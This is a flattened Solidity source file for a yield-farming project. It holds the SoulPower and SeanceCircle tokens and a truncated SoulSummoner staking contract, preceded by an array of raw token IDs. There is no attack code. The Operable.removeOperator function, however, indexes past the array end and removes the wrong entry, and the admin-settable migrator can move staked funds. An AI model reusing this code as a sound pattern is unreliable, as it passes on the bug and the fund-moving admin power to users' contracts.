[ 1, 565, 1958, 1436, 1370, 288, 203, 3639, 2254, 2845, 1016, 31, 203, 3639, 1758, 2845, 31, 203, 3639, 1758, 1147, 31, 203, 3639, 2254, 3844, 31, 203, 3639, 2254, 3844, 20, 2747, 31, 203, 3639, 2254, 3844, 21, 2747, 31, 203, 3639, 1758, 7738, 58, 23, 8259, 31, 203, 3639, 1758, 7738, 58, 23, 1733, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/access/IAccessControl.sol pragma solidity ^0.8.0; interface IAccessControl { event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } // File: @openzeppelin/contracts/utils/Context.sol abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/Strings.sol library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/access/AccessControl.sol abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File: @openzeppelin/contracts/access/Ownable.sol abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/security/Pausable.sol abstract contract Pausable is Context { event Paused(address account); event Unpaused(address account); bool private _paused; constructor() { _paused = false; } function paused() public view virtual returns (bool) { return _paused; } modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // File: contracts/libraries/ERC20.sol contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contracts/SoulPower.sol contract SoulPower is ERC20('SoulPower', 'SOUL'), AccessControl { address public supreme; // supreme divine bytes32 public anunnaki; // admin role bytes32 public thoth; // minter role bytes32 public constant DOMAIN_TYPEHASH = // EIP-712 typehash for the contract's domain keccak256('EIP712Domain(string name,uint chainId,address verifyingContract)'); bytes32 public constant DELEGATION_TYPEHASH = // EIP-712 typehash for the delegation struct used by the contract keccak256('Delegation(address delegatee,uint nonce,uint expiry)'); // mappings for user accounts (address) mapping(address => mapping(uint => Checkpoint)) public checkpoints; // vote checkpoints mapping(address => uint) public numCheckpoints; // checkpoint count mapping(address => uint) public nonces; // signing / validating states mapping(address => address) internal _delegates; // each accounts' delegate struct Checkpoint { // checkpoint for marking number of votes from a given timestamp uint fromTime; uint votes; } event NewSupreme(address supreme); event Rethroned(bytes32 role, address oldAccount, address newAccount); event DelegateChanged( // emitted when an account changes its delegate address indexed delegator, address indexed fromDelegate, address indexed toDelegate ); event DelegateVotesChanged( // emitted when a delegate account's vote balance changes address indexed delegate, uint previousBalance, uint newBalance ); // restricted to the house of the role passed as an object to obey modifier obey(bytes32 role) { _checkRole(role, _msgSender()); _; } // channels the authority vested in anunnaki and thoth to the supreme constructor() { supreme = msg.sender; // WARNING: set to multi-sig when deploying anunnaki = keccak256('anunnaki'); // alpha supreme thoth = keccak256('thoth'); // god of wisdom and magic _divinationRitual(DEFAULT_ADMIN_ROLE, DEFAULT_ADMIN_ROLE, supreme); // supreme as root admin _divinationRitual(anunnaki, anunnaki, supreme); // anunnaki as admin of anunnaki _divinationRitual(thoth, anunnaki, supreme); // anunnaki as admin of thoth mint(supreme, 50_000_000 * 1e18); // mints initial supply of 50M } // solidifies roles (internal) function _divinationRitual(bytes32 _role, bytes32 _adminRole, address _account) internal { _setupRole(_role, _account); _setRoleAdmin(_role, _adminRole); } // grants `role` to `newAccount` && renounces `role` from `oldAccount` (public role) function rethroneRitual(bytes32 role, address oldAccount, address newAccount) public obey(role) { require(oldAccount != newAccount, 'must be a new address'); grantRole(role, newAccount); // grants new account renounceRole(role, oldAccount); // removes old account of role emit Rethroned(role, oldAccount, newAccount); } // updates supreme address (public anunnaki) function newSupreme(address _supreme) public obey(anunnaki) { require(supreme != _supreme, 'make a change, be the change'); // prevents self-destruct rethroneRitual(DEFAULT_ADMIN_ROLE, supreme, _supreme); // empowers new supreme supreme = _supreme; emit NewSupreme(supreme); } // checks whether sender has divine role (public view) function hasDivineRole(bytes32 role) public view returns (bool) { return hasRole(role, msg.sender); } // mints soul power as the house of thoth so wills (public thoth) function mint(address _to, uint _amount) public obey(thoth) { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // destroys `amount` tokens from the caller (public) function burn(uint amount) public { _burn(_msgSender(), amount); _moveDelegates(_delegates[_msgSender()], address(0), amount); } // destroys `amount` tokens from the `account` (public) function burnFrom(address account, uint amount) public { uint currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, 'burn amount exceeds allowance'); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); _moveDelegates(_delegates[account], address(0), amount); } // returns the address delegated by a given delegator (external view) function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } // delegates to the `delegatee` (external) function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } // delegates votes from signatory to `delegatee` (external) function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this)) ); bytes32 structHash = keccak256( abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry) ); bytes32 digest = keccak256( abi.encodePacked('\x19\x01', domainSeparator, structHash) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), 'delegateBySig: invalid signature'); require(nonce == nonces[signatory]++, 'delegateBySig: invalid nonce'); require(block.timestamp <= expiry, 'delegateBySig: signature expired'); return _delegate(signatory, delegatee); } // returns current votes balance for `account` (external view) function getCurrentVotes(address account) external view returns (uint) { uint nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } // returns an account's prior vote count as of a given timestamp (external view) function getPriorVotes(address account, uint blockTimestamp) external view returns (uint) { require(blockTimestamp < block.timestamp, 'getPriorVotes: not yet determined'); uint nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // checks most recent balance if (checkpoints[account][nCheckpoints - 1].fromTime <= blockTimestamp) { return checkpoints[account][nCheckpoints - 1].votes; } // checks implicit zero balance if (checkpoints[account][0].fromTime > blockTimestamp) { return 0; } uint lower = 0; uint upper = nCheckpoints - 1; while (upper > lower) { uint center = upper - (upper - lower) / 2; // avoids overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromTime == blockTimestamp) { return cp.votes; } else if (cp.fromTime < blockTimestamp) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function safe256(uint n, string memory errorMessage) internal pure returns (uint) { require(n < type(uint).max, errorMessage); return uint(n); } function getChainId() internal view returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint delegatorBalance = balanceOf(delegator); // balance of underlying SOUL (not scaled) _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decreases old representative uint srcRepNum = numCheckpoints[srcRep]; uint srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint srcRepNew = srcRepOld - amount; _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increases new representative uint dstRepNum = numCheckpoints[dstRep]; uint dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint dstRepNew = dstRepOld + amount; _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint nCheckpoints, uint oldVotes, uint newVotes ) internal { uint blockTimestamp = safe256(block.timestamp, 'block timestamp exceeds 256 bits'); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromTime == blockTimestamp) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockTimestamp, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } } // File: contracts/libraries/Operable.sol abstract contract Operable is Context, Ownable { address[] public operators; mapping(address => bool) public operator; event OperatorUpdated(address indexed operator, bool indexed access); constructor () { address msgSender = _msgSender(); operator[msgSender] = true; operators.push(msgSender); emit OperatorUpdated(msgSender, true); } modifier onlyOperator() { address msgSender = _msgSender(); require(operator[msgSender], "Operator: caller is not an operator"); _; } function removeOperator(address removingOperator) public virtual onlyOperator { require(operator[removingOperator], 'Operable: address is not an operator'); operator[removingOperator] = false; for (uint8 i; i < operators.length; i++) { if (operators[i] == removingOperator) { operators[i] = operators[i+1]; operators.pop(); emit OperatorUpdated(removingOperator, false); return; } } } function addOperator(address newOperator) public virtual onlyOperator { require(newOperator != address(0), "Operable: new operator is the zero address"); require(!operator[newOperator], 'Operable: address is already an operator'); operator[newOperator] = true; operators.push(newOperator); emit OperatorUpdated(newOperator, true); } } // File: contracts/SeanceCircle.sol // SeanceCircle with Governance. contract SeanceCircle is ERC20('SeanceCircle', 'SEANCE'), Ownable, Operable { SoulPower public soul; bool isInitialized; function mint(address _to, uint256 _amount) public onlyOperator { require(isInitialized, 'the circle has not yet begun'); _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } function burn(address _from ,uint256 _amount) public onlyOperator { _burn(_from, _amount); _moveDelegates(_delegates[_from], address(0), _amount); } function initialize(SoulPower _soul) external onlyOwner { require(!isInitialized, 'the circle has already begun'); soul = _soul; isInitialized = true; } // safe soul transfer function, just in case if rounding error causes pool to not have enough SOUL. function safeSoulTransfer(address _to, uint256 _amount) public onlyOperator { uint256 soulBal = soul.balanceOf(address(this)); if (_amount > soulBal) { soul.transfer(_to, soulBal); } else { soul.transfer(_to, _amount); } } // record of each accounts delegate mapping (address => address) internal _delegates; // checkpoint for marking number of votes from a given block timestamp struct Checkpoint { uint256 fromTime; uint256 votes; } // record of votes checkpoints for each account, by index mapping (address => mapping (uint256 => Checkpoint)) public checkpoints; // number of checkpoints for each account mapping (address => uint256) public numCheckpoints; // EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); // EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); // record of states for signing / validating signatures mapping (address => uint) public nonces; // emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); // emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); // returns the address delegated by a given delegator (external view) function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } // delegates to the `delegatee` (external) function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } // delegates votes from signatory to `delegatee` (external) function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "SOUL::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "SOUL::delegateBySig: invalid nonce"); require(block.timestamp <= expiry, "SOUL::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } // returns current votes balance for `account` (external view) function getCurrentVotes(address account) external view returns (uint) { uint nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } // returns an account's prior vote count as of a given timestamp (external view) function getPriorVotes(address account, uint blockTimestamp) external view returns (uint256) { require(blockTimestamp < block.timestamp, "SOUL::getPriorVotes: not yet determined"); uint256 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // checks most recent balance if (checkpoints[account][nCheckpoints - 1].fromTime <= blockTimestamp) { return checkpoints[account][nCheckpoints - 1].votes; } // checks implicit zero balance if (checkpoints[account][0].fromTime > blockTimestamp) { return 0; } uint256 lower = 0; uint256 upper = nCheckpoints - 1; while (upper > lower) { uint256 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromTime == blockTimestamp) { return cp.votes; } else if (cp.fromTime < blockTimestamp) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying SOUL (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint256 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld - amount; _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint256 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld + amount; _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint256 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint256 blockTimestamp = safe256(block.timestamp, "SOUL::_writeCheckpoint: block timestamp exceeds 256 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromTime == blockTimestamp) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockTimestamp, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe256(uint n, string memory errorMessage) internal pure returns (uint256) { require(n < type(uint256).max, errorMessage); return uint256(n); } function getChainId() internal view returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } function newSoul(SoulPower _soul) external onlyOperator { require(soul != _soul, 'must be a new address'); soul = _soul; } } // File: contracts/interfaces/IMigrator.sol interface IMigrator { function migrate(IERC20 token) external returns (IERC20); } // File: contracts/SoulSummoner.sol // the summoner of souls | ownership transferred to a governance smart contract // upon sufficient distribution + the community's desire to self-govern. contract SoulSummoner is AccessControl, Pausable, ReentrancyGuard { // user info struct Users { uint amount; // total tokens user has provided. uint rewardDebt; // reward debt (see below). uint rewardDebtAtTime; // the last time user stake. uint lastWithdrawTime; // the last time a user withdrew at. uint firstDepositTime; // the last time a user deposited at. uint timeDelta; // time passed since withdrawals. uint lastDepositTime; // most recent deposit time. // pending reward = (user.amount * pool.accSoulPerShare) - user.rewardDebt // the following occurs when a user +/- tokens to a pool: // 1. pool: `accSoulPerShare` and `lastRewardTime` update. // 2. user: receives pending reward. // 3. user: `amount` updates(+/-). // 4. user: `rewardDebt` updates (+/-). } // pool info struct Pools { IERC20 lpToken; // lp token ierc20 contract. uint allocPoint; // allocation points assigned to this pool | SOULs to distribute per second. uint lastRewardTime; // most recent UNIX timestamp during which SOULs distribution occurred in the pool. uint accSoulPerShare; // accumulated SOULs per share, times 1e12. } // soul power: our native utility token address private soulAddress; SoulPower public soul; // seance circle: our governance token address private seanceAddress; SeanceCircle public seance; address public team; // receives 1/8 soul supply address public dao; // recieves 1/8 soul supply address public supreme; // has supreme role // migrator contract | has lotsa power IMigrator public migrator; // blockchain variables accounting for share of overall emissions uint public totalWeight; uint public weight; // soul x day x this.chain uint public dailySoul; // = weight * 250K * 1e18; // soul x second x this.chain uint public soulPerSecond; // = dailySoul / 86400; // bonus muliplier for early soul summoners uint public bonusMultiplier = 1; // timestamp when soul rewards began (initialized) uint public startTime; // ttl allocation points | must be the sum of all allocation points uint public totalAllocPoint; // summoner initialized state. bool public isInitialized; // decay rate on withdrawal fee of 1%. uint public immutable dailyDecay = enWei(1); // start rate for the withdrawal fee. uint public startRate; Pools[] public poolInfo; // pool info mapping (uint => mapping (address => Users)) public userInfo; // staker data // divinated roles bytes32 public isis; // soul summoning goddess of magic bytes32 public maat; // goddess of cosmic order event RoleDivinated(bytes32 role, bytes32 supreme); // restricted to the council of the role passed as an object to obey (role) modifier obey(bytes32 role) { _checkRole(role, _msgSender()); _; } // prevents: early reward distribution modifier isSummoned { require(isInitialized, 'rewards have not yet begun'); _; } event Deposit(address indexed user, uint indexed pid, uint amount); event Withdraw(address indexed user, uint indexed pid, uint amount, uint timeStamp); event Initialized(address team, address dao, address soul, address seance, uint totalAllocPoint, uint weight); event PoolAdded(uint pid, uint allocPoint, IERC20 lpToken, uint totalAllocPoint); event PoolSet(uint pid, uint allocPoint); event WeightUpdated(uint weight, uint totalWeight); event RewardsUpdated(uint dailySoul, uint soulPerSecond); event StartRateUpdated(uint startRate); event AccountsUpdated(address dao, address team, address admin); event TokensUpdated(address soul, address seance); event DepositRevised(uint _pid, address _user, uint _time); // validates: pool exists modifier validatePoolByPid(uint pid) { require(pid < poolInfo.length, 'pool does not exist'); _; } // channels the power of the isis and ma'at to the deployer (deployer) constructor() { supreme = msg.sender; // 0x81Dd37687c74Df8F957a370A9A4435D873F5e5A9; // multi-sig safe team = msg.sender; // 0x36d0164e87B58427c4153c089aeDDa8Ec0B80B9D; // team wallet dao = msg.sender; // 0x1C63C726926197BD3CB75d86bCFB1DaeBcD87250; // dao treasury (multi-sig) isis = keccak256("isis"); // goddess of magic who creates pools maat = keccak256("maat"); // goddess of cosmic order who allocates emissions _divinationCeremony(DEFAULT_ADMIN_ROLE, DEFAULT_ADMIN_ROLE, supreme); _divinationCeremony(isis, isis, supreme); // isis role created -- supreme divined admin _divinationCeremony(maat, isis, dao); // maat role created -- isis divined admin } function _divinationCeremony(bytes32 _role, bytes32 _adminRole, address _account) internal returns (bool) { _setupRole(_role, _account); _setRoleAdmin(_role, _adminRole); return true; } // validate: pool uniqueness to eliminate duplication risk (internal view) function checkPoolDuplicate(IERC20 _token) internal view { uint length = poolInfo.length; for (uint pid = 0; pid < length; ++pid) { require(poolInfo[pid].lpToken != _token, 'duplicated pool'); } } // activates: rewards (owner) function initialize() external obey(isis) { require(!isInitialized, 'already initialized'); soulAddress = 0xCF174A6793FA36A73e8fF18A71bd81C985ef5aB5; seanceAddress = 0xD54Cf31D5653F4a062f5DA4C83170A5867d04442; // [required]: update global constants startTime = block.timestamp; totalWeight = 1000; weight = 1000; startRate = enWei(14); uint allocPoint = 1000; soul = SoulPower(soulAddress); seance = SeanceCircle(seanceAddress); // updates: dailySoul and soulPerSecond updateRewards(weight, totalWeight); // adds: staking pool poolInfo.push(Pools({ lpToken: soul, allocPoint: allocPoint, lastRewardTime: startTime, accSoulPerShare: 0 })); isInitialized = true; // triggers: initialize state totalAllocPoint += allocPoint; // kickstarts: total allocation emit Initialized(team, dao, soulAddress, seanceAddress, totalAllocPoint, weight); } // returns: amount of pools function poolLength() external view returns (uint) { return poolInfo.length; } // add: new pool (isis) function addPool(uint _allocPoint, IERC20 _lpToken, bool _withUpdate) public isSummoned obey(isis) { // isis: the soul summoning goddess whose power transcends them all checkPoolDuplicate(_lpToken); _addPool(_allocPoint, _lpToken, _withUpdate); } // add: new pool (internal) function _addPool(uint _allocPoint, IERC20 _lpToken, bool _withUpdate) internal { if (_withUpdate) { massUpdatePools(); } totalAllocPoint += _allocPoint; poolInfo.push( Pools({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardTime: block.timestamp > startTime ? block.timestamp : startTime, accSoulPerShare: 0 })); updateStakingPool(); uint pid = poolInfo.length; emit PoolAdded(pid, _allocPoint, _lpToken, totalAllocPoint); } // set: allocation points (maat) function set(uint pid, uint allocPoint, bool withUpdate) external isSummoned validatePoolByPid(pid) obey(maat) { if (withUpdate) { massUpdatePools(); } // updates all pools uint prevAllocPoint = poolInfo[pid].allocPoint; poolInfo[pid].allocPoint = allocPoint; if (prevAllocPoint != allocPoint) { totalAllocPoint = totalAllocPoint - prevAllocPoint + allocPoint; updateStakingPool(); // updates only selected pool } emit PoolSet(pid, allocPoint); } // set: migrator contract (isis) function setMigrator(IMigrator _migrator) external isSummoned obey(isis) { migrator = _migrator; } // view: user delta function userDelta(uint256 _pid, address _user) public view returns (uint256 delta) { Users memory user = userInfo[_pid][_user]; return user.lastWithdrawTime > 0 ? block.timestamp - user.lastWithdrawTime : block.timestamp - user.firstDepositTime; } // migrate: lp tokens to another contract (migrator) function 